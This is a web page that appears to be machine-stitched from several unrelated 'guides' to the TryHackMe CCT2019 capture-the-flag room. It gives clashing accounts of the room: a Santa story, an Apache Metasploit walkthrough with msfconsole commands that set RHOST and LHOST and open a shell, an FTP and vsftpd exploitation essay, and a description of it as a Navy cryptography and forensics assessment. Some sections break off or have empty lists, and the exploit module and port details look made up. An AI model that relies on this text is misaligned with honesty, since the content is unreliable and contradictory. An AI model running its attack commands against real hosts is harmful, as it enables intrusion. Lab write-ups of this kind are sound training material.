Tryhackme Cct2019 -

This was the "main event" for many participants. The CTF track simulated real-world penetration testing scenarios.

Target IP: (varies per user deployment on TryHackMe, e.g., 10.10.x.x)

Every good engagement starts with scanning. Fire up your TryHackMe AttackBox or your own Kali Linux machine.

nmap -sC -sV -p- -oA cct2019_scan <target_ip>

Expected Results:

Action: Visit http://<target_ip> in your browser.

The CCT2019 room on TryHackMe is a single-machine challenge designed to simulate a vulnerable corporate server. Unlike beginner rooms that guide you with explicit instructions, this room presents a black-box environment. You are given only the machine’s IP address. From there, you must rely on your enumeration, exploitation, and post-exploitation skills to capture flags (typically stored in user.txt and root.txt).

After decrypting the inventory system and patching the vulnerabilities, Santa sends you a thank-you note:
“Next year, we’re hiring you full-time. And please—teach the elves about password managers.”

The CCT2019 challenge remains one of TryHackMe’s most beloved beginner-to-intermediate rooms. It proves that with curiosity, methodical enumeration, and a little festive spirit, anyone can learn to defend the digital North Pole.

If you want to try it yourself, search for “CCT2019” on TryHackMe. All you need is a free account and basic Linux command line knowledge. The flags are waiting—and so is the story.

TryHackMe CCT2019: A Comprehensive Guide to the Challenge

TryHackMe is a popular online platform that offers a variety of virtual hacking challenges and tutorials for individuals looking to improve their cybersecurity skills. One of the most notable challenges on the platform is the CCT2019 challenge, which is designed to simulate a real-world hacking scenario. In this article, we will provide a comprehensive guide to the TryHackMe CCT2019 challenge, including a walkthrough of the challenge, tips and tricks, and a discussion of the skills and knowledge required to complete it.

What is the TryHackMe CCT2019 Challenge?

The CCT2019 challenge on TryHackMe is a virtual hacking challenge that is designed to test a participant's skills in penetration testing, vulnerability assessment, and exploitation. The challenge is based on a real-world scenario and involves hacking into a virtual machine (VM) to gain access to sensitive information. The challenge is designed for intermediate-level hackers and is intended to provide a realistic simulation of a penetration testing engagement.

Objective of the Challenge

The objective of the CCT2019 challenge is to gain access to the VM and retrieve a sensitive file that contains critical information. The challenge involves several stages, including:

Walkthrough of the Challenge

To complete the CCT2019 challenge, participants must follow a series of steps that involve reconnaissance, exploitation, and post-exploitation. Here is a walkthrough of the challenge:

Step 1: Reconnaissance

The first step in the challenge is to gather information about the target VM. This can be done using tools such as Nmap, which is a popular network scanning tool. Participants must scan the VM to identify open ports and services.

nmap -sV <IP address of VM>

The scan results will reveal open ports and services, including a web server running on port 80.

Step 2: Identifying Vulnerabilities

Once the open ports and services have been identified, participants must look for potential vulnerabilities. In this case, the web server is running a vulnerable version of Apache. Participants can use tools such as Nikto to scan the web server for vulnerabilities.

nikto -h <IP address of VM>

The Nikto scan will reveal a potential vulnerability in the Apache version.

Step 3: Exploitation

With the vulnerability identified, participants can use a tool such as Metasploit to exploit the vulnerability and gain access to the VM.

msfconsole
use exploit/apache/mod_cgid_oob
set RHOST <IP address of VM>
set LHOST <IP address of your machine>
exploit

The exploit will provide a shell on the VM.

Step 4: Post-exploitation

Once participants have gained access to the VM, they must navigate the file system to retrieve the sensitive file. This involves using basic Linux commands such as cd, ls, and cat to navigate the file system.

cd /home/user
ls
cat sensitive_file.txt

The sensitive file will contain critical information that is required to complete the challenge.

Tips and Tricks

Here are some tips and tricks that can help participants complete the CCT2019 challenge:

Skills and Knowledge Required

To complete the CCT2019 challenge, participants will need to have a good understanding of the following skills and knowledge:

Conclusion

The TryHackMe CCT2019 challenge is a comprehensive and realistic simulation of a penetration testing engagement. By completing the challenge, participants can gain valuable experience and skills in penetration testing, vulnerability assessment, and exploitation. With the right tools and knowledge, participants can successfully complete the challenge and improve their cybersecurity skills.

The TryHackMe Cyber Challenge 2019 (CCT2019) was a seminal event in the platform's history, marking a shift from simple individual rooms to large-scale, competitive CTF (Capture The Flag) events. It served as a predecessor to the highly popular "Advent of Cyber" series.

While the live competition has long since ended, the challenge remains accessible on TryHackMe as a learning resource. It is designed to test a wide range of offensive security skills, including Open Source Intelligence (OSINT), cryptography, steganography, and binary exploitation.

Below is a detailed breakdown, walkthrough guide, and analysis of the CCT2019 challenge.

This is often the most popular section of CTFs. It involves hiding data inside innocuous-looking

Introduction

TryHackMe is an online platform that provides a virtual environment for penetration testing and cybersecurity training. The CCT2019 challenge is one of the many virtual machines (VMs) available on the platform, designed to simulate a real-world cybersecurity scenario. In this essay, we will walk through the steps to compromise the CCT2019 VM and highlight the key learning points from the challenge.

Initial Reconnaissance

Upon launching the CCT2019 VM on TryHackMe, the first step is to perform an initial reconnaissance of the target system. This involves scanning the VM's IP address to identify open ports and services. Using the nmap command, we scan the VM's IP address: nmap -sV <IP address>. The scan reveals several open ports, including FTP (20), SSH (22), and HTTP (80).

Identifying Vulnerabilities

The next step is to identify potential vulnerabilities on the target system. We notice that the FTP service is running on port 20, and a quick search on the internet reveals that the version of FTP running on the VM is vulnerable to a buffer overflow attack. Additionally, the HTTP service on port 80 appears to be running a web application that may be vulnerable to SQL injection.

Exploiting Vulnerabilities

Using the information gathered during the reconnaissance phase, we proceed to exploit the identified vulnerabilities. We use the vsftpd exploit to gain access to the FTP service and create a new user account. With the new user account, we can log in to the system via SSH.

Alternatively, we can also use the SQL injection vulnerability on the web application to inject malicious SQL code and extract sensitive data, such as user credentials. tryhackme cct2019

Post-Exploitation

Once we gain access to the system, we perform a thorough enumeration of the system to identify sensitive data and configuration files. We discover a configuration file that contains a hidden directory, which leads to a backup file containing a hashed password.

Using a password cracking tool, such as John the Ripper, we crack the hashed password and gain access to the root account.

Conclusion

The TryHackMe CCT2019 challenge provides a realistic simulation of a cybersecurity scenario, allowing us to practice our penetration testing skills in a safe and controlled environment. Throughout the challenge, we performed initial reconnaissance, identified vulnerabilities, exploited them, and conducted post-exploitation activities to gain access to sensitive data.

The key learning points from this challenge include:

By completing the CCT2019 challenge on TryHackMe, we have gained valuable experience in penetration testing and vulnerability exploitation, which can be applied to real-world cybersecurity scenarios.

The CCT2019 room on TryHackMe is a collection of legacy challenges from the US Navy Cyber Competition Team 2019 Assessment, sponsored by the US TENTH Fleet. It is rated as Insane difficulty and focuses on an analytical journey through multiple disciplines, including PCAP analysis, cryptography, and digital forensics. The Story of the Assessment

The narrative of CCT2019 isn't a traditional lore-heavy story, but rather a sequence of high-stakes technical investigations that mirror a military cyber assessment.

Task 1 & 2: Network Forensics (PCAP)The journey begins with intense PCAP analysis, where you act as a digital detective sifting through network traffic to identify suspicious activity and exfiltrated data.

Task 3: Historical CryptographyThe mission shifts to WWII-era encryption. You encounter a config.txt file that requires using an Enigma M4 "Shark" to decrypt a password for a locked file named flag.zipper.

Task 4: The Three-Part DecipheringThe final "story" arc involves a series of consequential steps to unlock the ultimate secret:

Keyboard Layout Substitution: Converting text based on different keyboard layouts.

OSINT and Video Analysis: Finding a specific YouTube video to identify a password for a railfence cipher.

Python Scripting: Writing code to convert numerical sequences (0–6) into binary using the modulo operator ( ), eventually revealing the final ASCII flag. Key Skills Tested

According to Abel Benedict on LinkedIn, completing this room requires extreme attention to detail and persistence in: Reverse Engineering: Breaking down complex binaries. This was the "main event" for many participants

Forensics: Recovering data from packet captures and hidden files.

Cryptography: Solving ciphers ranging from modern logic to historical machines. CCT2019 - TryHackMe